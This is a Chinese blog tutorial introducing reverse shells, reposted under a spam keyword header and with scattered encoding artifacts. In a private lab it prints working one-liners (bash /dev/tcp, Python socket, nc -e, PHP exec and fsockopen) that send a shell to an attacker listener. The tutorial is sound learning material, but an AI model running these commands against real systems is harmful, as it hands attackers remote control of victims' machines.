日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

初识反弹Shell

發(fā)布時間:2024/9/30 编程问答 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 初识反弹Shell 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

前言:

最近看大師傅們的博客,總是會看到反彈shell,而且不理解,所以就學(xué)習(xí)一波順便總結(jié)下來!

0x01:何為反彈Shell

反彈shell(reverse shell),就是控制端監(jiān)聽某TCP/UDP端口,被控端發(fā)起請求到該端口,并將其命令行的輸入輸出轉(zhuǎn)到控制端。reverse shell與telnet(遠(yuǎn)程登陸),ssh等標(biāo)準(zhǔn)shell對應(yīng),本質(zhì)上是網(wǎng)絡(luò)概念的客戶端與服務(wù)端的角色反轉(zhuǎn)。

0x02:為何要反彈Shell

通常用于被控端因防火墻受限、權(quán)限不足、端口被占用等情形。

假設(shè)攻擊了一臺機(jī)器,打開了該機(jī)器的一個端口,攻擊者在自己的機(jī)器去連接目標(biāo)機(jī)器(目標(biāo)ip:目標(biāo)機(jī)器端口),這是比較常規(guī)的形式,叫做正向連接。遠(yuǎn)程桌面、web服務(wù)、ssh、telnet等都是正向連接。那么什么情況下正向連接不能用了呢?

有如下情況:

1.某客戶機(jī)中了你的網(wǎng)馬,但是它在局域網(wǎng)內(nèi),你直接連接不了。

2.目標(biāo)機(jī)器的ip動態(tài)改變,你不能持續(xù)控制。

3.由于防火墻等限制,對方機(jī)器只能發(fā)送請求,不能接收請求。

4.對于病毒,木馬,受害者什么時候能中招,對方的網(wǎng)絡(luò)環(huán)境是什么樣的,什么時候開關(guān)機(jī)等情況都是未知的,所以建立一個服務(wù)端讓惡意程序主動連接,才是上策。

那么反彈就很好理解了,攻擊者指定服務(wù)端,受害者主機(jī)主動連接攻擊者的服務(wù)端程序,就叫反彈連接。

0x03:實踐反彈Shell

實驗環(huán)境:

Kali Linux: 192.168.186.128(攻擊方) CentOS 7: 192.168.186.129(服務(wù)器端)

方法一:使用linux命令反彈shell

反彈shell命令格式如下:

$ bash -i >& /dev/tcp/ip/port 0>&1

先在kail中使用nc監(jiān)聽6666端口

$ nc -lvp 6666


然后在Centos中執(zhí)行:

$ bash -i >& /dev/tcp/192.168.186.128/6666 0>&1


查看kail,發(fā)現(xiàn)ip地址已經(jīng)變成服務(wù)器端的ip了,說明shell反彈成功,這時候就能對服務(wù)器進(jìn)行遠(yuǎn)程操控了

在Centos中執(zhí)行那串代碼是怎么來的?,下面就來學(xué)習(xí)一下:

#bash -i bash 是linux 的一個比較常見的shell -i 這個參數(shù)表示的是產(chǎn)生交互式的shell#/dev/tcp/ip/port Linux有一個特殊的文件/dev/tcp,打開這個文件就類似于發(fā)出了一個socket調(diào)用,建立一個socket連接,讀寫這個文件就相當(dāng)于在這個socket連接中傳輸數(shù)據(jù),但如果你訪問這個文件的位置它是不存在的。

除此之外還可以在服務(wù)器端輸出字符串到這個/dev/tcp文件中,這樣攻擊方便可以接收到:

輸出lemon并重定向到/dev/tcp文件中

這個過程是服務(wù)器端->攻擊端,同樣也可以在攻擊機(jī)上的輸入,服務(wù)端進(jìn)行接收
攻擊端輸入


服務(wù)器端接收

這行命令還含有&、0>&1

>&&>作用就是混合輸出(錯誤、正確輸出都輸出到一個地方)

這里就涉及交互重定向,為實現(xiàn)交互,需要把服務(wù)器端交互式shell的輸出重定向到攻擊機(jī)上
在服務(wù)器端上輸入

#>輸出重定向 $ bash -i >/dev/tcp/192.168.186.128/6666


如同,服務(wù)器端沒有任何回顯,攻擊端有回顯

但是這里就存在著一個問題,攻擊者沒有能夠?qū)崿F(xiàn)對受害者的控制,攻擊者執(zhí)行的命令沒法在受害者電腦上執(zhí)行,所以需要一條這樣的指令

#<屬于輸入重定向 bash -i < /dev/tcp/192.168.186.128/6666

這條指令的意思是將攻擊者輸入的命令輸入給受害者的bash,所以便可以實現(xiàn)對受害者的控制
攻擊方:

服務(wù)器端:

將兩條指令結(jié)合起來,便可以形成:

bash -i > /dev/tcp/192.168.186.128/6666 0>&1

接下來就涉及到比較復(fù)雜的重定向文件描述符的知識,最終形成最經(jīng)典的反彈shell語句。

bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

由于現(xiàn)在是初始階段,有的確實還是不理解就不誤導(dǎo)其他人了.先通過使用來加深印象之后再將原理這塊補(bǔ)齊。原理可以參考這位大師傅的反彈shell

方法二:通過python反彈shell

首先在kail中監(jiān)聽6666端口

root@kail:~# nc -lvp 6666


然后在Centos中輸入

$ python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.186.128',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

展開來看就是這樣:

"import os,socket,subprocess; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('192.168.186.128',6666)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(['/bin/bash','-i']);"

連接成功

原理還是經(jīng)典反彈shell的原理,這里只不過是利用了python來實現(xiàn)

方法三:通過nc反彈shell

流程還是一樣的,先在kail中監(jiān)聽6666端口

root@kail:~# nc -lvp 6666


然后在CentOS中輸入:

$ nc -e /bin/bash 192.168.186.128 6666


連接成功

方法四:使用php反彈shell

類型一:exec函數(shù)來反彈shell

先在kail中監(jiān)聽端口,這里就不再敘述了
然后在Centos中執(zhí)行以下命令:

php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.186.128/6666");'


連接成功:

類型二:fsockopen連接

fsockopen — 打開一個網(wǎng)絡(luò)連接或者一個Unix套接字連接

在Centos中執(zhí)行:

php -r '$sock=fsockopen("192.168.186.128",6666);exec("/bin/bash -i <&3 >&3 2>&3");'


連接成功

總結(jié):

這次就先了解反彈shell的幾種方式,由于目前對linux的一些知識掌握的還不是很好,就先不學(xué)習(xí)原理,待基礎(chǔ)知識增強(qiáng)后再學(xué)習(xí)原理!!!

參考鏈接:

玄魂
Linux下反彈shell幾種方法學(xué)習(xí)總結(jié)
Linux 反彈shell(二)反彈shell的本質(zhì)

與50位技術(shù)專家面對面20年技術(shù)見證,附贈技術(shù)全景圖

總結(jié)

以上是生活随笔為你收集整理的初识反弹Shell的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。